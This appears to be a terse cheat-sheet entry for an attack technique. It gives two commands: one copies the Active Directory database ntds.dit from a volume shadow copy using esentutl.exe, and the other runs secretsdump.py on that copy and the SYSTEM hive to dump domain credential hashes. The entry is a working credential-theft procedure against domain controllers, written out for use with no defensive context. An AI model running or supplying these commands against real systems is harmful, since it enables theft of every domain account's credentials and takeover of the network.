esentutl

>esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
>secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL